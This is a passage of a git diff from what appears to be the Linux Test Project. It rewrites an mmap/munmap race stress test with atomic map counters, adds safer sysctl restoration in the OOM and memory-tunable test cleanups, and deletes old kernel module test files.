+		ar_m = tst_atomic_load(&mapcnt);
+		if (was_area_mapped(br_map, br_unmap, ar_m, ar_u)) {
+			tst_res(TFAIL, "got sigsegv while mapped");
+			_exit(TFAIL);
+		}
+
+		mapped_sigsegv_count++;
 		longjmp(jmpbuf, 1);
 		break;
 	default:
-		fprintf(stderr, "Unexpected signal - %d --- exiting\n", signal);
+		tst_res(TFAIL, "Unexpected signal - %d, addr: %p, exiting\n",
+			signal, info->si_addr);
 		_exit(TBROK);
 	}
 }
 
-/*
- * Signal handler that is active, when file is mapped, eg. we do not expect
- * SIGSEGV to be delivered.
- */
-static void sig_handler_mapped(int signal, siginfo_t * info, void *ut)
-{
-	switch (signal) {
-	case SIGALRM:
-		tst_resm(TPASS, "Test ended, success");
-		_exit(TPASS);
-	case SIGSEGV:
-		tst_resm(TINFO, "[%lu] Unexpected page fault at %p",
-			 pthread_self(), info->si_addr);
-		_exit(TFAIL);
-		break;
-	default:
-		fprintf(stderr, "Unexpected signal - %d --- exiting\n", signal);
-		_exit(TBROK);
-	}
-}
-
-int mkfile(int size)
-{
-	char template[] = "/tmp/ashfileXXXXXX";
-	int fd, i;
-
-	if ((fd = mkstemp(template)) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "mkstemp() failed");
-
-	unlink(template);
-
-	for (i = 0; i < size; i++)
-		if (write(fd, "a", 1) == -1)
-			tst_brkm(TBROK | TERRNO, NULL, "write() failed");
-
-	if (write(fd, "\0", 1) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "write() failed");
-
-	if (fsync(fd) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "fsync() failed");
-
-	return fd;
-}
-
 void *map_write_unmap(void *ptr)
 {
-	struct sigaction sa;
-	long *args = ptr;
-	long i;
-	int j;
+	int *fd = ptr;
+	void *tmp;
+	int i, j;
 
-	tst_resm(TINFO, "[%lu] - map, change contents, unmap files %ld times",
-		 pthread_self(), args[2]);
+	for (i = 0; i < num_iter; i++) {
+		map_address = SAFE_MMAP(distant_area,
+			(size_t) file_size, PROT_WRITE | PROT_READ,
+			MAP_SHARED, *fd, 0);
+		tst_atomic_inc(&mapcnt);
 
-	if (verbose_print)
-		tst_resm(TINFO, "map_write_unmap() arguments are: "
-			 "fd - arg[0]: %ld; "
-			 "size of file - arg[1]: %ld; "
-			 "num of map/write/unmap - arg[2]: %ld",
-			 args[0], args[1], args[2]);
+		for (j = 0; j < file_size; j++)
+			map_address[j] = 'b';
 
-	for (i = 0; i < args[2]; i++) {
-		map_address = mmap(distant_area, (size_t) args[1],
-			PROT_WRITE | PROT_READ, MAP_SHARED, (int)args[0], 0);
+		tmp = (void *)map_address;
+		tst_atomic_inc(&unmapcnt);
+		SAFE_MUNMAP(tmp, file_size);
 
-		if (map_address == (void *)-1) {
-			perror("map_write_unmap(): mmap()");
-			pthread_exit((void *)1);
-		}
-
-		while (read_lock)
-			sched_yield();
-
-		sigfillset(&sa.sa_mask);
-		sigdelset(&sa.sa_mask, SIGSEGV);
-		sa.sa_flags = SA_SIGINFO | SA_NODEFER;
-		sa.sa_sigaction = sig_handler_mapped;
-
-		if (sigaction(SIGSEGV, &sa, NULL)) {
-			perror("map_write_unmap(): sigaction()");
-			pthread_exit((void *)1);
-		}
-
-		if (verbose_print)
-			tst_resm(TINFO, "map address = %p", map_address);
-
-		for (j = 0; j < args[1]; j++) {
-			map_address[j] = 'a';
-			if (random() % 2)
-				sched_yield();
-		}
-
-		if (verbose_print)
-			tst_resm(TINFO,
-				 "[%ld] times done: of total [%ld] iterations, "
-				 "map_write_unmap():memset() content of memory = %s",
-				 i, args[2], (char *)map_address);
-
-		sigfillset(&sa.sa_mask);
-		sigdelset(&sa.sa_mask, SIGSEGV);
-		sa.sa_flags = SA_SIGINFO | SA_NODEFER;
-		sa.sa_sigaction = sig_handler;
-
-		if (sigaction(SIGSEGV, &sa, NULL)) {
-			perror("map_write_unmap(): sigaction()");
-			pthread_exit((void *)1);
-		}
-
-		if (munmap(map_address, (size_t) args[1]) == -1) {
-			perror("map_write_unmap(): mmap()");
-			pthread_exit((void *)1);
-		}
+		map_count++;
 	}
 
-	pthread_exit(NULL);
+	return NULL;
 }
 
-void *read_mem(void *ptr)
+void *read_mem(LTP_ATTRIBUTE_UNUSED void *ptr)
 {
-	long i;
-	long *args = ptr;
-	int j;
+	volatile int i; /* longjmp could clobber i */
+	int j, ar_map, ar_unmap;
+	unsigned char c;
 
-	tst_resm(TINFO, "[%lu] - read contents of memory %p %ld times",
-		 pthread_self(), map_address, args[2]);
+	for (i = 0; i < num_iter; i++) {
+		if (setjmp(jmpbuf) == 1)
+			continue;
 
-	if (verbose_print)
-		tst_resm(TINFO, "read_mem() arguments are: "
-			 "number of reads to be performed - arg[2]: %ld; "
-			 "read from address %p", args[2], map_address);
+		for (j = 0; j < file_size; j++) {
+read_again:
+			br_map = tst_atomic_load(&mapcnt);
+			br_unmap = tst_atomic_load(&unmapcnt);
 
-	for (i = 0; i < args[2]; i++) {
+			c = map_address[j];
 
-		if (verbose_print)
-			tst_resm(TINFO, "read_mem() in while loop %ld times "
-				 "to go %ld times", i, args[2]);
+			ar_unmap = tst_atomic_load(&unmapcnt);
+			ar_map = tst_atomic_load(&mapcnt);
 
-		if (setjmp(jmpbuf) == 1) {
-			read_lock = 0;
-			if (verbose_print)
-				tst_resm(TINFO, "page fault occurred due to "
-					 "a read after an unmap");
-		} else {
-			if (verbose_print) {
-				read_lock = 1;
-				tst_resm(TINFO,
-					 "read_mem(): content of memory: %s",
-					 (char *)map_address);
-				read_lock = 0;
-			}
-			for (j = 0; j < args[1]; j++) {
-				read_lock = 1;
-				if (map_address[j] != 'a')
-					pthread_exit((void *)-1);
-				read_lock = 0;
-				if (random() % 2)
-					sched_yield();
+			/*
+			 * Read above is racing against munmap and mmap
+			 * in other thread. While the address might be valid
+			 * the mapping could be in various stages of being
+			 * 'ready'. We only check the value, if we can be sure
+			 * read hapenned in between single mmap and munmap as
+			 * observed by first thread.
+			 */
+			if (was_area_mapped(br_map, br_unmap, ar_map,
+				ar_unmap)) {
+				switch (c) {
+				case 'a':
+					repeated_reads++;
+					goto read_again;
+				case 'b':
+					data_matched++;
+					break;
+				default:
+					tst_res(TFAIL, "value[%d] is %c", j, c);
+					break;
+				}
 			}
 		}
 	}
 
-	pthread_exit(NULL);
+	return NULL;
 }
 
-static void usage(char *progname)
+int mkfile(int size)
 {
-	fprintf(stderr, "Usage: %s -d -l -s -v -x\n"
-		"\t -h help, usage message.\n"
-		"\t -l number of mmap/write/unmap     default: 1000\n"
-		"\t -s size of the file to be mmapped default: 1024 bytes\n"
-		"\t -v print more info.               default: quiet\n"
-		"\t -x test execution time            default: 24 Hrs\n",
-		progname);
+	int fd, i;
 
-	exit(-1);
+	fd = SAFE_OPEN(TEST_FILENAME, O_RDWR | O_CREAT, 0600);
+	SAFE_UNLINK(TEST_FILENAME);
+
+	for (i = 0; i < size; i++)
+		SAFE_WRITE(1, fd, "a", 1);
+	SAFE_WRITE(1, fd, "\0", 1);
+
+	if (fsync(fd) == -1)
+		tst_brk(TBROK | TERRNO, "fsync()");
+
+	return fd;
 }
 
-struct signal_info {
-	int signum;
-	char *signame;
-};
-
-static struct signal_info sig_info[] = {
-	{SIGHUP, "SIGHUP"},
-	{SIGINT, "SIGINT"},
-	{SIGQUIT, "SIGQUIT"},
-	{SIGABRT, "SIGABRT"},
-	{SIGBUS, "SIGBUS"},
-	{SIGSEGV, "SIGSEGV"},
-	{SIGALRM, "SIGALRM"},
-	{SIGUSR1, "SIGUSR1"},
-	{SIGUSR2, "SIGUSR2"},
-	{-1, "ENDSIG"}
-};
-
-int main(int argc, char **argv)
+static void setup(void)
 {
-	int c, i;
-	int file_size;
-	int num_iter;
-	double exec_time;
-	int fd;
-	void *status;
-	pthread_t thid[2];
-	long chld_args[3];
-	extern char *optarg;
 	struct sigaction sigptr;
-	int ret;
 
-	/* set up the default values */
-	file_size = 1024;
-	num_iter = 1000;
-	exec_time = 24;
+	page_sz = getpagesize();
 
-	while ((c = getopt(argc, argv, "hvl:s:x:")) != -1) {
-		switch (c) {
-		case 'h':
-			usage(argv[0]);
-			break;
-		case 'l':
-			if ((num_iter = atoi(optarg)) == 0)
-				OPT_MISSING(argv[0], optopt);
-			else if (num_iter < 0)
-				printf
-				    ("WARNING: bad argument. Using default %d\n",
-				     (num_iter = 1000));
-			break;
-		case 's':
-			if ((file_size = atoi(optarg)) == 0)
-				OPT_MISSING(argv[0], optopt);
-			else if (file_size < 0)
-				printf
-				    ("WARNING: bad argument. Using default %d\n",
-				     (file_size = 1024));
-			break;
-		case 'v':
-			verbose_print = 1;
-			break;
-		case 'x':
-			exec_time = atof(optarg);
-			if (exec_time == 0)
-				OPT_MISSING(argv[0], optopt);
-			else if (exec_time < 0)
-				printf
-				    ("WARNING: bad argument. Using default %.0f\n",
-				     (exec_time = 24));
-			break;
-		default:
-			usage(argv[0]);
-			break;
-		}
-	}
-
-	/* We don't want other mmap calls to map into same area as is
-	 * used for test (mmap_address). The test expects read to return
-	 * test pattern or read must fail with SIGSEGV. Find an area
-	 * that we can use, which is unlikely to be chosen for other
-	 * mmap calls. */
-	distant_area = mmap(0, DISTANT_MMAP_SIZE, PROT_WRITE | PROT_READ,
-		MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
-	if (distant_area == (void *)-1)
-		tst_brkm(TBROK | TERRNO, NULL, "distant_area: mmap()");
-	SAFE_MUNMAP(NULL, distant_area, (size_t)DISTANT_MMAP_SIZE);
+	/*
+	 * Used as hint for mmap thread, so it doesn't interfere
+	 * with other potential (temporary) mappings from libc
+	 */
+	distant_area = SAFE_MMAP(0, DISTANT_MMAP_SIZE, PROT_WRITE | PROT_READ,
+			MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
+	SAFE_MUNMAP(distant_area, (size_t)DISTANT_MMAP_SIZE);
 	distant_area += DISTANT_MMAP_SIZE / 2;
 
-	if (verbose_print)
-		tst_resm(TINFO, "Input parameters are: File size:  %d; "
-			 "Scheduled to run:  %lf hours; "
-			 "Number of mmap/write/read:  %d",
-			 file_size, exec_time, num_iter);
-
-	alarm(exec_time * 3600);
-
-	/* Do not mask SIGSEGV, as we are interested in handling it. */
-	sigptr.sa_sigaction = sig_handler;
-	sigfillset(&sigptr.sa_mask);
-	sigdelset(&sigptr.sa_mask, SIGSEGV);
-	sigptr.sa_flags = SA_SIGINFO | SA_NODEFER;
-
-	for (i = 0; sig_info[i].signum != -1; i++) {
-		if (sigaction(sig_info[i].signum, &sigptr, NULL) == -1) {
-			perror("man(): sigaction()");
-			fprintf(stderr,
-				"could not set handler for %s, errno = %d\n",
-				sig_info[i].signame, errno);
-			exit(-1);
-		}
+	if (tst_parse_float(str_exec_time, &exec_time, 0, FLT_MAX)) {
+		tst_brk(TBROK, "Invalid number for exec_time '%s'",
+			str_exec_time);
 	}
 
-	for (;;) {
-		if ((fd = mkfile(file_size)) == -1)
-			tst_brkm(TBROK, NULL,
-				 "main(): mkfile(): Failed to create temp file");
+	sigptr.sa_sigaction = sig_handler;
+	sigemptyset(&sigptr.sa_mask);
+	sigptr.sa_flags = SA_SIGINFO | SA_NODEFER;
+	SAFE_SIGACTION(SIGSEGV, &sigptr, NULL);
 
-		if (verbose_print)
-			tst_resm(TINFO, "Tmp file created");
+	tst_set_timeout((int)(exec_time * 3600));
+}
 
-		chld_args[0] = fd;
-		chld_args[1] = file_size;
-		chld_args[2] = num_iter;
+static void run(void)
+{
+	pthread_t thid[2];
+	int remaining = tst_timeout_remaining();
+	int elapsed = 0;
 
-		if ((ret =
-		     pthread_create(&thid[0], NULL, map_write_unmap,
-				    chld_args)))
-			tst_brkm(TBROK, NULL, "main(): pthread_create(): %s",
-				 strerror(ret));
+	while (tst_timeout_remaining() > STOP_THRESHOLD) {
+		int fd = mkfile(file_size);
 
-		tst_resm(TINFO, "created writing thread[%lu]", thid[0]);
+		tst_atomic_store(0, &mapcnt);
+		tst_atomic_store(0, &unmapcnt);
 
-		if ((ret = pthread_create(&thid[1], NULL, read_mem, chld_args)))
-			tst_brkm(TBROK, NULL, "main(): pthread_create(): %s",
-				 strerror(ret));
+		SAFE_PTHREAD_CREATE(&thid[0], NULL, map_write_unmap, &fd);
+		SAFE_PTHREAD_CREATE(&thid[1], NULL, read_mem, &fd);
+		threads_spawned += 2;
 
-		tst_resm(TINFO, "created reading thread[%lu]", thid[1]);
-
-		for (i = 0; i < 2; i++) {
-			if ((ret = pthread_join(thid[i], &status)))
-				tst_brkm(TBROK, NULL,
-					 "main(): pthread_join(): %s",
-					 strerror(ret));
-
-			if (status)
-				tst_brkm(TFAIL, NULL,
-					 "thread [%lu] - process exited "
-					 "with %ld", thid[i], (long)status);
-		}
+		SAFE_PTHREAD_JOIN(thid[0], NULL);
+		SAFE_PTHREAD_JOIN(thid[1], NULL);
 
 		close(fd);
-	}
 
-	exit(0);
+		if (remaining - tst_timeout_remaining() > PROGRESS_SEC) {
+			remaining = tst_timeout_remaining();
+			elapsed += PROGRESS_SEC;
+			tst_res(TINFO, "[%d] mapped: %lu, sigsegv hit: %lu, "
+				"threads spawned: %lu",	elapsed, map_count,
+				mapped_sigsegv_count, threads_spawned);
+			tst_res(TINFO, "[%d] repeated_reads: %ld, "
+				"data_matched: %lu", elapsed, repeated_reads,
+				data_matched);
+		}
+	}
+	tst_res(TPASS, "System survived.");
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.options = options,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/mem/mtest06/shmat1.c b/testcases/kernel/mem/mtest06/shmat1.c
index 8756430..1ab41f8 100644
--- a/testcases/kernel/mem/mtest06/shmat1.c
+++ b/testcases/kernel/mem/mtest06/shmat1.c
@@ -99,13 +99,13 @@
 /* Function:	sig_handler						      */
 /*									      */
 /* Description:	handle SIGALRM raised by set_timer(), SIGALRM is raised when  */
-/*		the timer expires. If any other signal is recived exit the    */
+/*		the timer expires. If any other signal is received exit the   */
 /*		test.							      */
 /*									      */
 /* Input:	signal - signal number, intrested in SIGALRM!		      */
 /*									      */
-/* Return:	exit -1 if unexpected signal is recived			      */
-/*		exit 0 if SIGALRM is recieved			              */
+/* Return:	exit -1 if unexpected signal is received		      */
+/*		exit 0 if SIGALRM is received			              */
 /*									      */
 /******************************************************************************/
 static void sig_handler(int signal,	/* signal number, set to handle SIGALRM       */
diff --git a/testcases/kernel/mem/mtest07/mallocstress.c b/testcases/kernel/mem/mtest07/mallocstress.c
index 2e900ad..70b614b 100644
--- a/testcases/kernel/mem/mtest07/mallocstress.c
+++ b/testcases/kernel/mem/mtest07/mallocstress.c
@@ -243,6 +243,7 @@
 }
 
 static struct tst_test test = {
+	.timeout = 600,
 	.needs_checkpoints = 1,
 	.setup = setup,
 	.cleanup = cleanup,
diff --git a/testcases/kernel/mem/oom/oom01.c b/testcases/kernel/mem/oom/oom01.c
index 3d05860..beb232d 100644
--- a/testcases/kernel/mem/oom/oom01.c
+++ b/testcases/kernel/mem/oom/oom01.c
@@ -55,7 +55,8 @@
 
 static void cleanup(void)
 {
-	set_sys_tune("overcommit_memory", overcommit, 0);
+	if (overcommit != -1)
+		set_sys_tune("overcommit_memory", overcommit, 0);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/oom/oom02.c b/testcases/kernel/mem/oom/oom02.c
index 45e64d3..866540d 100644
--- a/testcases/kernel/mem/oom/oom02.c
+++ b/testcases/kernel/mem/oom/oom02.c
@@ -62,7 +62,8 @@
 
 static void cleanup(void)
 {
-	set_sys_tune("overcommit_memory", overcommit, 0);
+	if (overcommit != -1)
+		set_sys_tune("overcommit_memory", overcommit, 0);
 }
 
 static struct tst_test test = {
@@ -75,5 +76,5 @@
 };
 
 #else
-	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
+	TST_TEST_TCONF(NUMA_ERROR_MSG);
 #endif
diff --git a/testcases/kernel/mem/oom/oom03.c b/testcases/kernel/mem/oom/oom03.c
index c4b90c1..b283b52 100644
--- a/testcases/kernel/mem/oom/oom03.c
+++ b/testcases/kernel/mem/oom/oom03.c
@@ -35,6 +35,8 @@
 
 #ifdef HAVE_NUMA_V2
 
+static int memcg_mounted;
+
 static void verify_oom(void)
 {
 #if __WORDSIZE == 32
@@ -71,12 +73,15 @@
 	overcommit = get_sys_tune("overcommit_memory");
 	set_sys_tune("overcommit_memory", 1, 1);
 	mount_mem("memcg", "cgroup", "memory", MEMCG_PATH, MEMCG_PATH_NEW);
+	memcg_mounted = 1;
 }
 
 static void cleanup(void)
 {
-	set_sys_tune("overcommit_memory", overcommit, 0);
-	umount_mem(MEMCG_PATH, MEMCG_PATH_NEW);
+	if (overcommit != -1)
+		set_sys_tune("overcommit_memory", overcommit, 0);
+	if (memcg_mounted)
+		umount_mem(MEMCG_PATH, MEMCG_PATH_NEW);
 }
 
 static struct tst_test test = {
@@ -89,5 +94,5 @@
 };
 
 #else
-	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
+	TST_TEST_TCONF(NUMA_ERROR_MSG);
 #endif
diff --git a/testcases/kernel/mem/oom/oom04.c b/testcases/kernel/mem/oom/oom04.c
index 7dbf9ce..98b31c7 100644
--- a/testcases/kernel/mem/oom/oom04.c
+++ b/testcases/kernel/mem/oom/oom04.c
@@ -35,6 +35,8 @@
 
 #ifdef HAVE_NUMA_V2
 
+static int cpuset_mounted;
+
 static void verify_oom(void)
 {
 #if __WORDSIZE == 32
@@ -67,6 +69,7 @@
 	set_sys_tune("overcommit_memory", 1, 1);
 
 	mount_mem("cpuset", "cpuset", NULL, CPATH, CPATH_NEW);
+	cpuset_mounted = 1;
 
 	/*
 	 * Some nodes do not contain memory, so use
@@ -83,8 +86,10 @@
 
 static void cleanup(void)
 {
-	set_sys_tune("overcommit_memory", overcommit, 0);
-	umount_mem(CPATH, CPATH_NEW);
+	if (overcommit != -1)
+		set_sys_tune("overcommit_memory", overcommit, 0);
+	if (cpuset_mounted)
+		umount_mem(CPATH, CPATH_NEW);
 }
 
 static struct tst_test test = {
@@ -97,5 +102,5 @@
 };
 
 #else
-	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
+	TST_TEST_TCONF(NUMA_ERROR_MSG);
 #endif
diff --git a/testcases/kernel/mem/oom/oom05.c b/testcases/kernel/mem/oom/oom05.c
index eb24531..c5395b0 100644
--- a/testcases/kernel/mem/oom/oom05.c
+++ b/testcases/kernel/mem/oom/oom05.c
@@ -35,6 +35,9 @@
 
 #ifdef HAVE_NUMA_V2
 
+static int memcg_mounted;
+static int cpuset_mounted;
+
 static void verify_oom(void)
 {
 	int swap_acc_on = 1;
@@ -90,7 +93,9 @@
 	set_sys_tune("overcommit_memory", 1, 1);
 
 	mount_mem("memcg", "cgroup", "memory", MEMCG_PATH, MEMCG_PATH_NEW);
+	memcg_mounted = 1;
 	mount_mem("cpuset", "cpuset", NULL, CPATH, CPATH_NEW);
+	cpuset_mounted = 1;
 	write_memcg();
 
 	/*
@@ -108,9 +113,12 @@
 
 void cleanup(void)
 {
-	set_sys_tune("overcommit_memory", overcommit, 0);
-	umount_mem(CPATH, CPATH_NEW);
-	umount_mem(MEMCG_PATH, MEMCG_PATH_NEW);
+	if (overcommit != -1)
+		set_sys_tune("overcommit_memory", overcommit, 0);
+	if (cpuset_mounted)
+		umount_mem(CPATH, CPATH_NEW);
+	if (memcg_mounted)
+		umount_mem(MEMCG_PATH, MEMCG_PATH_NEW);
 }
 
 static struct tst_test test = {
@@ -123,5 +131,5 @@
 };
 
 #else
-	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
+	TST_TEST_TCONF(NUMA_ERROR_MSG);
 #endif
diff --git a/testcases/kernel/mem/thp/thp01.c b/testcases/kernel/mem/thp/thp01.c
index 2f2bb2b..b2ad921 100644
--- a/testcases/kernel/mem/thp/thp01.c
+++ b/testcases/kernel/mem/thp/thp01.c
@@ -78,7 +78,7 @@
 			args[bst->mid] = NULL;
 
 			TEST(execvp("true", args));
-			if (TEST_ERRNO != E2BIG)
+			if (TST_ERR != E2BIG)
 				tst_brk(TBROK | TTERRNO, "execvp(\"true\", ...)");
 			bst->left = prev_left;
 			bst->right = bst->mid;
@@ -98,7 +98,7 @@
 	if (pid == 0) {
 		args[bst->left] = NULL;
 		TEST(execvp("true", args));
-		if (TEST_ERRNO != E2BIG)
+		if (TST_ERR != E2BIG)
 			tst_brk(TBROK | TTERRNO, "execvp(\"true\", ...)");
 		exit(0);
 	}
diff --git a/testcases/kernel/mem/tunable/max_map_count.c b/testcases/kernel/mem/tunable/max_map_count.c
index 93a764d..5b03a60 100644
--- a/testcases/kernel/mem/tunable/max_map_count.c
+++ b/testcases/kernel/mem/tunable/max_map_count.c
@@ -53,8 +53,8 @@
 #define MAP_COUNT_DEFAULT	1024
 #define MAX_MAP_COUNT		65536L
 
-static long old_max_map_count;
-static long old_overcommit;
+static long old_max_map_count = -1;
+static long old_overcommit = -1;
 static struct utsname un;
 
 static void setup(void)
@@ -73,8 +73,10 @@
 
 static void cleanup(void)
 {
-	set_sys_tune("overcommit_memory", old_overcommit, 0);
-	set_sys_tune("max_map_count", old_max_map_count, 0);
+	if (old_overcommit != -1)
+		set_sys_tune("overcommit_memory", old_overcommit, 0);
+	if (old_max_map_count != -1)
+		set_sys_tune("max_map_count", old_max_map_count, 0);
 }
 
 /* This is a filter to exclude map entries which aren't accounted
diff --git a/testcases/kernel/mem/tunable/min_free_kbytes.c b/testcases/kernel/mem/tunable/min_free_kbytes.c
index 9875345..f114dc4 100644
--- a/testcases/kernel/mem/tunable/min_free_kbytes.c
+++ b/testcases/kernel/mem/tunable/min_free_kbytes.c
@@ -39,8 +39,8 @@
 #define MAP_SIZE (1UL<<20)
 
 volatile int end;
-static unsigned long default_tune;
-static unsigned long orig_overcommit;
+static long default_tune = -1;
+static long orig_overcommit = -1;
 static unsigned long total_mem;
 
 static void test_tune(unsigned long overcommit_policy);
@@ -221,8 +221,10 @@
 
 static void cleanup(void)
 {
-	set_sys_tune("min_free_kbytes", default_tune, 0);
-	set_sys_tune("overcommit_memory", orig_overcommit, 0);
+	if (default_tune != -1)
+		set_sys_tune("min_free_kbytes", default_tune, 0);
+	if (orig_overcommit != -1)
+		set_sys_tune("overcommit_memory", orig_overcommit, 0);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/tunable/overcommit_memory.c b/testcases/kernel/mem/tunable/overcommit_memory.c
index 984448b..07f8243 100644
--- a/testcases/kernel/mem/tunable/overcommit_memory.c
+++ b/testcases/kernel/mem/tunable/overcommit_memory.c
@@ -81,8 +81,8 @@
 	{NULL, NULL, NULL}
 };
 
-static long old_overcommit_memory;
-static long old_overcommit_ratio;
+static long old_overcommit_memory = -1;
+static long old_overcommit_ratio = -1;
 static long overcommit_ratio;
 static long sum_total;
 static long free_total;
@@ -92,6 +92,7 @@
 static int heavy_malloc(long size);
 static void alloc_and_check(long size, int expect_result);
 static void update_mem(void);
+static void update_mem_commit(void);
 
 static void setup(void)
 {
@@ -136,8 +137,10 @@
 
 static void cleanup(void)
 {
-	set_sys_tune("overcommit_memory", old_overcommit_memory, 0);
-	set_sys_tune("overcommit_ratio", old_overcommit_ratio, 0);
+	if (old_overcommit_memory != -1)
+		set_sys_tune("overcommit_memory", old_overcommit_memory, 0);
+	if (old_overcommit_ratio != -1)
+		set_sys_tune("overcommit_ratio", old_overcommit_ratio, 0);
 }
 
 static void overcommit_memory_test(void)
@@ -149,10 +152,10 @@
 	/* start to test overcommit_memory=2 */
 	set_sys_tune("overcommit_memory", 2, 1);
 
-	update_mem();
+	update_mem_commit();
 	alloc_and_check(commit_left * 2, EXPECT_FAIL);
 	alloc_and_check(commit_limit, EXPECT_FAIL);
-	update_mem();
+	update_mem_commit();
 	alloc_and_check(commit_left / 2, EXPECT_PASS);
 
 	/* start to test overcommit_memory=0 */
@@ -217,23 +220,32 @@
 static void update_mem(void)
 {
 	long mem_free, swap_free;
-	long committed;
 
 	mem_free = SAFE_READ_MEMINFO("MemFree:");
 	swap_free = SAFE_READ_MEMINFO("SwapFree:");
 	free_total = mem_free + swap_free;
+}
+
+static void update_mem_commit(void)
+{
+	long committed;
+
 	commit_limit = SAFE_READ_MEMINFO("CommitLimit:");
+	committed = SAFE_READ_MEMINFO("Committed_AS:");
+	commit_left = commit_limit - committed;
 
-	if (get_sys_tune("overcommit_memory") == 2) {
-		committed = SAFE_READ_MEMINFO("Committed_AS:");
-		commit_left = commit_limit - committed;
+	if (commit_left < 0) {
+		tst_res(TINFO, "CommitLimit is %ld, Committed_AS is %ld",
+			commit_limit, committed);
 
-		if (commit_left < 0) {
-			tst_res(TINFO, "CommitLimit is %ld, Committed_AS"
-				 " is %ld", commit_limit, committed);
+		if (overcommit_ratio > old_overcommit_ratio) {
 			tst_brk(TBROK, "Unexpected error: "
-				 "CommitLimit < Committed_AS");
+				"CommitLimit < Committed_AS");
 		}
+
+		tst_brk(TCONF, "Specified overcommit_ratio %ld <= default %ld, "
+			"so it's possible for CommitLimit < Committed_AS and skip test",
+			overcommit_ratio, old_overcommit_ratio);
 	}
 }
 
diff --git a/testcases/kernel/mem/vma/vma02.c b/testcases/kernel/mem/vma/vma02.c
index 33d000d..3d91863 100644
--- a/testcases/kernel/mem/vma/vma02.c
+++ b/testcases/kernel/mem/vma/vma02.c
@@ -166,6 +166,6 @@
 #else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "test requires libnuma >= 2 and it's development packages");
+	tst_brkm(TCONF, NULL, NUMA_ERROR_MSG);
 }
 #endif
diff --git a/testcases/kernel/mem/vma/vma04.c b/testcases/kernel/mem/vma/vma04.c
index a5918bc..8be025a 100644
--- a/testcases/kernel/mem/vma/vma04.c
+++ b/testcases/kernel/mem/vma/vma04.c
@@ -327,6 +327,6 @@
 #else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "test requires libnuma >= 2 and it's development packages");
+	tst_brkm(TCONF, NULL, NUMA_ERROR_MSG);
 }
 #endif
diff --git a/testcases/kernel/module/Makefile b/testcases/kernel/module/Makefile
deleted file mode 100644
index cc2a0e0..0000000
--- a/testcases/kernel/module/Makefile
+++ /dev/null
@@ -1,30 +0,0 @@
-#
-#    kernel/module test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir	?= ../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-# Only delete_module works at this time...
-SUBDIRS		:= delete_module
-
-include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/kernel/module/README b/testcases/kernel/module/README
deleted file mode 100644
index 95938a0..0000000
--- a/testcases/kernel/module/README
+++ /dev/null
@@ -1,3 +0,0 @@
-Many of these tests have requirements on the test machine.  To ensure proper
-build and execution, the kernel must be build on the test machine and you
-must also do a 'make modules' and 'make modules_install'.
diff --git a/testcases/kernel/module/create_module/Makefile b/testcases/kernel/module/create_module/Makefile
deleted file mode 100644
index af2c873..0000000
--- a/testcases/kernel/module/create_module/Makefile
+++ /dev/null
@@ -1,36 +0,0 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2001
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-
-###########################################################################
-# name of file	: Makefile						  #
-###########################################################################
-CFLAGS+=	-Wall -O -g -I../../../../include
-LOADLIBES+=	-L../../../../lib -lltp
-
-SRCS=$(wildcard *.c)
-TARGETS=$(patsubst %.c,%,$(SRCS))
-
-all: $(TARGETS)
-
-install:
-	@set -e; for i in $(TARGETS); do ln -f $$i ../../../bin/$$i ; done
-
-clean:
-	rm -f $(TARGETS)
-
-
diff --git a/testcases/kernel/module/create_module/create_module01.c b/testcases/kernel/module/create_module/create_module01.c
deleted file mode 100644
index 2c72297..0000000
--- a/testcases/kernel/module/create_module/create_module01.c
+++ /dev/null
@@ -1,162 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/**********************************************************
- *
- *    TEST IDENTIFIER   : create_module01
- *
- *    EXECUTED BY       : root / superuser
- *
